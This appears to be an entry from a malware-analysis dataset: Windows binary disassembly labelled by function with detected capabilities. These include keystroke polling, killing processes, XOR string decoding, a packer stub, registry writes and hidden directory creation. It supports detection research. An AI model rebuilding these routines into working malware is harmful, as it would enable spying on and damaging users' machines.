joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407391
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x40740d
push 9
call esi
test bl, al
je 0x40740d
push 0x11
call esi
test bl, al
jne 0x40740d
push 0x10
call esi
test bl, al
jne 0x40740d
push 0x12
call esi
test bl, al
jne 0x40740d
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [esp + 0x14]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x40740d
push eax
push eax
push 0x44e
push edi
call dword [sym.imp.USER32.DLL_SendMessageA]
test eax, 0x800
jne 0x40740d
xor eax, eax
jmp 0x40748f
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x407436
push 0x11
call esi
test bl, al
jne 0x40742e
push 0x10
call esi
test bl, al
jne 0x40742e
push 0x12
call esi
test bl, al
je 0x407436
push 1
push ebp
call fcn.0040734a
mov esi, dword [sym.imp.USER32.DLL_GetPropA]
test edi, edi
je 0x40744c
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x40748c
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x40748c
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x40748c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x40748c
dec esi
push esi
push dword [0x40e820]
call fcn.0040a1aa
test eax, eax
je 0x40748c
mov eax, dword [eax + 8]
jmp 0x40748e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x407551
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push edi
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov dword [0x40e734], eax
cmp eax, edi
je 0x407584
push str.AlphaBlend
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40e738], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [0x40e730], 1
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4075c2
cmp dword [ebp - 0xc], 1
je 0x4075d3
cmp dword [ebp - 0xc], 2
jne 0x4075c2
cmp dword [ebp - 0x18], 5
jb 0x4075d3
jne 0x4075c2
cmp dword [ebp - 0x14], edi
jne 0x4075c2
mov dword [0x40e730], edi
cmp dword [0x40e730], edi
je 0x4075d9
call fcn.00407498
test eax, eax
jne 0x4075d9
mov dword [0x40e730], edi
pop edi
add ebp, 0x78
leave
ret

Function at 0x40811d
Capabilities:
Get common file path

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
mov esi, 0x104
push esi
call fcn.0040add0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.Kernel32.DLL
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x40816b
push 0x40c1b8
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x408164
push esi
push edi
push edi
call eax
mov ebx, eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esi, ebx
push esi
jmp loc.00411000
Function at 0x40817e
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [esp + 4], 0
je 0x4081a7
test byte [esp + 8], 2
je 0x40819b
push pe_nt_image_headers32
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4081a9
xor eax, eax
ret 8

Function at 0x4081ba
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x40822a
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x40820c
mov dl, byte [eax - 1]
cmp dl, 0x20
je 0x40820b
cmp dl, 0x5c
je 0x40820b
cmp dl, 0x2f
jne 0x408216
dec eax
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x4081f9
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40822c
xor eax, eax
leave
ret 4

Function at 0x408300
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x408335
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x4086e0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test esi, esi
je 0x408727
cmp byte [esi], al
je 0x408727
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40e8c0]
push eax
push ecx
call fcn.0040a1aa
test eax, eax
je 0x408755
cmp dword [eax + 4], 0
mov ecx, esi
push edi
lea edi, [ecx + 1]
je 0x408730
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408715
sub ecx, edi
push ecx
push esi
push eax
call fcn.004088a0
pop edi
pop esi
pop ecx
ret 8
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408730
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
sub ecx, edi
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 8

Function at 0x408760
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x4087b9
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x4087b8
mov eax, dword [esp + 0x10]
mov ecx, dword [0x40e8c0]
push eax
push ecx
call fcn.0040a1aa
test eax, eax
je 0x4087b4
cmp dword [eax + 4], 0
je 0x4087a2
push esi
push edi
push eax
call fcn.004088a0
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc
Function at 0x4016a0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
fldz
push ebx
push esi
fstp dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x20]
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
push edi
call fcn.0040a9a1
fld qword [0x422530]
fsub qword [0x41e348]
mov esi, eax
add esp, 4
fstp qword [0x422530]
fld qword [0x422530]
fadd qword [0x41e378]
fcomp qword [0x41e370]
fnstsw ax
test ah, 0x44
jnp 0x401726
inc dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
add eax, 0x5933171a
cmp ecx, eax
jl 0x40170f
add dword [esp + 0xc], 0x564f3d40
jmp 0x401726
dec dword [esp + 0xc]
mov edx, dword [esp + 0xc]
mov eax, 0x7a024f2c
sub eax, edx
add eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
mov ebx, dword [esp + 0x1c]
push edi
push ebx
push esi
call fcn.0040aa70
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4266a4]
sub eax, 0x76370888
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
add esp, 0xc
fld dword [esp + 0x14]
add edi, esi
fsub qword [0x41e368]
add edx, ebx
mov ecx, esi
fsub qword [0x41e360]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x401773
add dword [esp + 0xc], 0xf82e9817
sub edx, 0x422004
cmp esi, edi
je 0x4017a1
lea ecx, [ecx]
mov ax, word [0x4232f0]
movzx ebx, word [0x423504]
cwde
sub ebx, eax
mov word [0x423504], bx
mov al, byte [edx]
xor byte [ecx], al
inc ecx
inc edx
cmp ecx, edi
jne 0x401780
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x4017e0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x148
mov eax, dword [0x424e90]
xor eax, esp
mov dword [esp + 0x144], eax
fldz
push ebx
fstp dword [esp + 4]
push esi
fldz
push edi
xor edi, edi
mov dword [esp + 0x14], edi
fst qword [esp + 0x18]
fstp qword [esp + 0x20]
mov ecx, 0x447feb8f
dec dword [0x4225c8]
mov eax, dword [0x4225c8]
mov edx, dword [esp + 0x14]
sub ecx, eax
mov dword [esp + 0xc], ecx
fild dword [esp + 0xc]
mov dword [esp + 0xc], edx
fild dword [esp + 0xc]
mov dword [esp + 0x10], edi
fsub qword [esp + 0x20]
fadd qword [0x423308]
fcompp
fnstsw ax
test ah, 0x41
jp 0x401854
mov dword [0x423924], 0xc1f1fa1f
push 0x104
call fcn.0040a9a1
add esp, 4
push edi
push 2
mov ebx, eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp + 0xc], esi
cmp esi, edi
je 0x40198b
lea eax, [esp + 0x28]
push eax
push esi
mov dword [esp + 0x30], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401984
mov edi, ebx
lea ecx, [esp + 0x4c]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
sub edi, ecx
lea eax, [esp + 0x50]
mov cl, byte [eax]
mov byte [edi + eax], cl
inc eax
test cl, cl
jne 0x4018a7
push ebx
call fcn.0041da93
mov ecx, dword [esp + 0x160]
add esp, 4
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4018e3
test dl, dl
je 0x4018df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4018e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x4018c3
xor eax, eax
jmp 0x4018e8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40193e
cmp dword [esp + 0x160], eax
je 0x40195b
mov edx, dword [esp + 0x34]
push edx
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401919
inc dword [esp + 0x14]
push 0xffffffffffffffff
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
fld dword [0x42264c]
fadd qword [0x41e348]
fstp dword [0x42264c]
fld dword [0x42264c]
call fcn.0040a7e0
mov esi, dword [esp + 0x10]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x2c]
push eax
push esi
mov dword [esp + 0x34], 0x128
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4018a3
jmp 0x401983
fld qword [esp + 0x1c]
inc dword [esp + 0x14]
fsub qword [0x41e348]
fstp qword [esp + 0x1c]
fld qword [esp + 0x1c]
fsub dword [0x42252c]
fadd dword [0x4238d4]
fstp dword [0x4238d4]
pop ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.0040a8c4
mov ecx, dword [esp + 0x154]
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040ae5a
add esp, 0x148
ret
Function at 0x401b10
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x60
fldz
xor ecx, ecx
mov dword [esp], ecx
fstp qword [esp + 4]
mov dword [esp + 4], ecx
fld dword [0x423518]
fadd dword [0x423518]
mov dword [esp + 0x1c], 0x44
fcomp qword [0x41e390]
fnstsw ax
test ah, 0x44
jnp 0x401b5f
mov ax, word [0x4238e8]
mov edx, dword [esp]
cwde
lea eax, [edx + eax + 0x7c3eaded]
mov edx, dword [esp]
imul eax, edx
mov dword [esp], eax
jmp 0x401b66
add dword [esp], 0xfb1bce4e
xor eax, eax
mov word [esp + 0x4e], ax
mov edx, 1
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x6c]
mov word [esp + 0x50], dx
lea edx, [esp + 0x20]
push edx
push ecx
push ecx
push 8
push ecx
push ecx
push ecx
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], ecx
mov dword [esp + 0x70], ecx
mov ecx, dword [esp + 0x84]
push eax
push ecx
mov dword [esp + 0x70], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x60
ret

Function at 0x401fc0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
fldz
push ebx
push esi
push edi
xor eax, eax
mov word [esp + 0xc], ax
xor ecx, ecx
push 3
mov word [esp + 0x14], cx
fstp qword [esp + 0x1c]
push 0x42397c
call fcn.004016a0
mov dx, word [esp + 0x18]
mov edi, eax
movsx eax, dx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fsub dword [0x423874]
call fcn.0040a7e0
mov ebx, dword [esp + 0x2c]
push edi
mov word [0x4227c4], ax
inc dword [esp + 0x1c]
push ebx
call fcn.0040b204
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x40208c
fld qword [0x423860]
mov cx, word [esp + 0x10]
fsub qword [0x41e3c0]
mov ax, word [esp + 0xc]
movsx edx, cx
mov dword [esp + 0x14], edx
movsx ecx, ax
fild dword [esp + 0x14]
mov dword [esp + 0x14], ecx
fsubp st(1)
fild dword [esp + 0x14]
fmulp st(1)
call fcn.0040a7e0
mov word [esp + 0xc], ax
inc dword [esp + 0x10]
fld qword [0x423860]
fadd qword [0x41e348]
push 0x3e8
fstp qword [0x423860]
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push ebx
call fcn.0040b204
mov esi, eax
add esp, 8
test esi, esi
je 0x4020ae
push esi
push 1
lea edx, [esp + 0x30]
push 4
push edx
call fcn.0040b0be
push esi
call fcn.0040aee0
mov eax, dword [0x422078]
add esp, 0x14
mov dword [0x4224b4], eax
xor eax, eax
mov dword [esp + 0x14], eax
mov word [edi], ax
mov dword [esp + 0x14], eax
push edi
mov byte [edi + 2], al
call fcn.0040a8c4
mov cx, word [esp + 0x14]
movsx edx, cx
mov dword [esp + 0x18], edx
add esp, 4
fild dword [esp + 0x14]
fld qword [esp + 0x18]
fsub qword [0x41e3b8]
fsubp st(1)
call fcn.0040a7e0
mov word [esp + 0x10], ax
fld qword [esp + 0x18]
fsub qword [0x41e348]
pop edi
pop esi
pop ebx
fstp qword [esp + 0xc]
add esp, 0x14
ret
Function at 0x403e00
Capabilities:
Set registry value

Disassembly:
sub esp, 8
fldz
push ebx
push ebp
fstp dword [esp + 0xc]
xor ebx, ebx
push 0x2e
mov dword [esp + 0x10], ebx
push 0x422598
mov dword [esp + 0x14], ebx
call fcn.004016a0
add esp, 8
mov ebp, eax
lea eax, [esp + 8]
push eax
push ebp
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403eb6
mov ecx, dword [0x4224bc]
imul ecx, ecx, 0x8fb58cdd
push esi
push edi
push 0x34
mov dword [0x4224bc], ecx
push 0x42255c
call fcn.004016a0
mov edx, dword [esp + 0x24]
fld qword [0x4226e0]
mov esi, eax
fsub qword [0x41e510]
mov eax, edx
add esp, 8
lea edi, [eax + 1]
fstp qword [0x4226e0]
jmp 0x403e80
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403e80
sub eax, edi
push eax
push edx
mov edx, dword [esp + 0x18]
push 1
push ebx
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x34
push ebx
mov dword [esp + 0x1c], ebx
push esi
mov dword [esp + 0x20], ebx
call fcn.0040ade0
push esi
call fcn.0040a8c4
add esp, 0x10
pop edi
pop esi
push 0x2e
push ebx
mov dword [esp + 0x14], ebx
push ebp
mov dword [esp + 0x18], ebx
call fcn.0040ade0
push ebp
call fcn.0040a8c4
mov eax, dword [esp + 0x18]
add esp, 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop ebx
add esp, 8
ret
Function at 0x409ea0
Capabilities:
Create thread
Set socket configuration

Disassembly:
sub esp, 0x24
fldz
push ebx
fst qword [esp + 0x18]
push ebp
fst qword [esp + 0x24]
xor ebp, ebp
fldz
push esi
fstp dword [esp + 0x14]
xor esi, esi
mov dword [0x4266ac], ebp
push edi
fstp qword [esp + 0x1c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
fld qword [0x4224c8]
fsub qword [0x41e890]
fstp qword [0x4224c8]
cmp dword [0x423e58], ebp
je 0x409f64
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, 1
mov eax, dword [0x422604]
sub dword [0x4224e4], eax
add dword [0x422604], ebx
fld qword [0x422550]
fsub qword [0x41e348]
mov dword [esi*4 + 0x4261e8], ebp
fstp qword [0x422550]
mov ecx, dword [0x4224e8]
mov edx, dword [esp + 0x14]
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
sub edx, 0xe5a1260
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fsub qword [0x422550]
fsubp st(1)
call fcn.0040a7e0
push ebp
push ebp
push esi
push 0x401ea0
push ebp
push ebp
mov dword [0x4224e8], eax
call edi
add esi, ebx
cmp esi, dword [0x423e58]
jne 0x409ef2
fld qword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [esp + 0x18]
push 0xa
fadd qword [esp + 0x30]
fsubp st(1)
fstp qword [esp + 0x28]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esp + 0x10], 0xec48ff9c
mov esi, 0x423e5c
movzx eax, word [esi]
mov ecx, dword [eax*4 + 0x4261e8]
push ecx
call ebx
movzx edx, word [esi]
cmp dword [edx*4 + 0x4261e8], ebp
je 0x409fc0
lea esp, [esp]
push 0xa
call edi
movzx eax, word [esi]
cmp dword [eax*4 + 0x4261e8], ebp
jne 0x409fb0
add esi, 2
mov dword [esp + 0x10], 0xec48ff9c
cmp esi, 0x423e64
jne 0x409f93
fld qword [esp + 0x1c]
mov ecx, dword [0x422608]
fsub qword [0x41e888]
mov dword [esp + 0x18], ecx
fild dword [esp + 0x18]
fmulp st(1)
call fcn.0040a7e0
mov dword [0x422608], eax
fld qword [esp + 0x1c]
fsub qword [0x41e348]
fstp qword [esp + 0x1c]
call dword [0x4266ac]
mov ebp, 0x546aff7d
and byte [eax], dl
pop esp
nop
jno 0x40a054
sahf
dec edi
out dx, al
invalid
sar dword [esi - 0x38], 0x58
push 0xf054bce7
stosd dword es:[edi], eax
xchg ah, ah
or byte [ebp + 0x1e536d9b], 0x95
int 0xcf
push edi
adc bl, byte [ebx + 0x2851f3cd]
mov dword [0xe5c17021], eax
enter 0x1ae0, 0x72
mov esp, 0x86266b28
int3

Function at 0x40ae5a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424e90]
jne 0x40ae64
repz ret
jmp fcn.0040f047
Function at 0x415e74
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004105a5
and dword [ebp - 4], 0
cmp dword [0x427114], 0
mov ebx, eax
jne 0x415f25
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x415fd6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41f938
push edi
call esi
test eax, eax
je 0x415fd6
push eax
call fcn.00410533
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x427114], eax
call esi
push eax
call fcn.00410533
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x427118], eax
call esi
push eax
call fcn.00410533
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42711c], eax
call esi
push eax
call fcn.00410533
pop ecx
mov dword [0x427124], eax
test eax, eax
je 0x415f25
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410533
pop ecx
mov dword [0x427120], eax
mov eax, dword [0x427120]
cmp eax, ebx
je 0x415f7d
cmp dword [0x427124], ebx
je 0x415f7d
push eax
call fcn.004105ae
push dword [0x427124]
mov esi, eax
call fcn.004105ae
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x415f7d
test edi, edi
je 0x415f7d
call esi
test eax, eax
je 0x415f74
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x415f74
test byte [ebp - 0xc], 1
jne 0x415f7d
or dword [ebp + 0x10], 0x200000
jmp 0x415fb6
mov eax, dword [0x427118]
cmp eax, ebx
je 0x415fb6
push eax
call fcn.004105ae
pop ecx
test eax, eax
je 0x415fb6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x415fb6
mov eax, dword [0x42711c]
cmp eax, ebx
je 0x415fb6
push eax
call fcn.004105ae
pop ecx
test eax, eax
je 0x415fb6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x427114]
call fcn.004105ae
pop ecx
test eax, eax
je 0x415fd6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x415fd8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401b70
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push 0x41a25c
mov dword [ebp - 0x808], 0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
je 0x401bcc
push str.EHNULL
push 0x400
push 0x423d40
call fcn.0040790f
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x808]
push esi
push ecx
lea edx, [ebp - 0x804]
push 0x400
push edx
call fcn.0040790f
lea eax, [ebp - 0x804]
push eax
push 0x400
push 0x423d40
call fcn.0040790f
mov ecx, dword [ebp - 0x808]
add esp, 0x18
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push str.PerfsLog
push 0x400
push 0x423d40
call fcn.004086dd
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0xc
push 0x423d40
call esi
cmp eax, 0xffffffff
je 0x401c38
test al, 0x10
jne 0x401c85
push 0
push 0x423d40
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401c6f
push str.EHNULL
push 0x400
push 0x423d40
call fcn.0040790f
add esp, 0xc
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
push 0x423d40
call esi
or eax, 2
push eax
push 0x423d40
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00407900
mov esp, ebp
pop ebp
ret

Function at 0x401ca0
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
mov ecx, str.EHNULL
mov eax, 0x423d40
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401cd6
test dx, dx
je 0x401cd2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401cd6
add eax, 4
add ecx, 4
test dx, dx
jne 0x401cb0
xor eax, eax
jmp 0x401cdb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401cf7
push str.EHNULL
push 0x400
push 0x424540
call fcn.0040790f
add esp, 0xc
ret
push esi
push 0x423d40
push 0x400
push 0x424540
call fcn.0040790f
push str.Sys
push 0x400
push 0x424540
call fcn.004086dd
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x18
push 0x424540
call esi
cmp eax, 0xffffffff
je 0x401d39
test al, 0x10
jne 0x401d79
push 0
push 0x424540
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401d63
push str.EHNULL
push 0x400
push 0x424540
call fcn.0040790f
add esp, 0xc
pop esi
ret
push 0x424540
call esi
or eax, 2
push eax
push 0x424540
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop esi
ret
Function at 0x401d80
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
mov ecx, str.EHNULL
mov eax, 0x423d40
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401db6
test dx, dx
je 0x401db2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401db6
add eax, 4
add ecx, 4
test dx, dx
jne 0x401d90
xor eax, eax
jmp 0x401dbb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401dd7
push str.EHNULL
push 0x400
push 0x424d40
call fcn.0040790f
add esp, 0xc
ret
push esi
push 0x423d40
push 0x400
push 0x424d40
call fcn.0040790f
push str.Log
push 0x400
push 0x424d40
call fcn.004086dd
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x18
push 0x424d40
call esi
cmp eax, 0xffffffff
je 0x401e19
test al, 0x10
jne 0x401e59
push 0
push 0x424d40
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401e43
push str.EHNULL
push 0x400
push 0x424d40
call fcn.0040790f
add esp, 0xc
pop esi
ret
push 0x424d40
call esi
or eax, 2
push eax
push 0x424d40
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop esi
ret

Function at 0x401e60
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
mov ecx, str.EHNULL
mov eax, 0x423d40
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e96
test dx, dx
je 0x401e92
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e96
add eax, 4
add ecx, 4
test dx, dx
jne 0x401e70
xor eax, eax
jmp 0x401e9b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401eb7
push str.EHNULL
push 0x400
push 0x425540
call fcn.0040790f
add esp, 0xc
ret
push esi
push 0x423d40
push 0x400
push 0x425540
call fcn.0040790f
push str.WinLog
push 0x400
push 0x425540
call fcn.004086dd
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x18
push 0x425540
call esi
cmp eax, 0xffffffff
je 0x401ef9
test al, 0x10
jne 0x401f39
push 0
push 0x425540
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401f23
push str.EHNULL
push 0x400
push 0x425540
call fcn.0040790f
add esp, 0xc
pop esi
ret
push 0x425540
call esi
or eax, 2
push eax
push 0x425540
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop esi
ret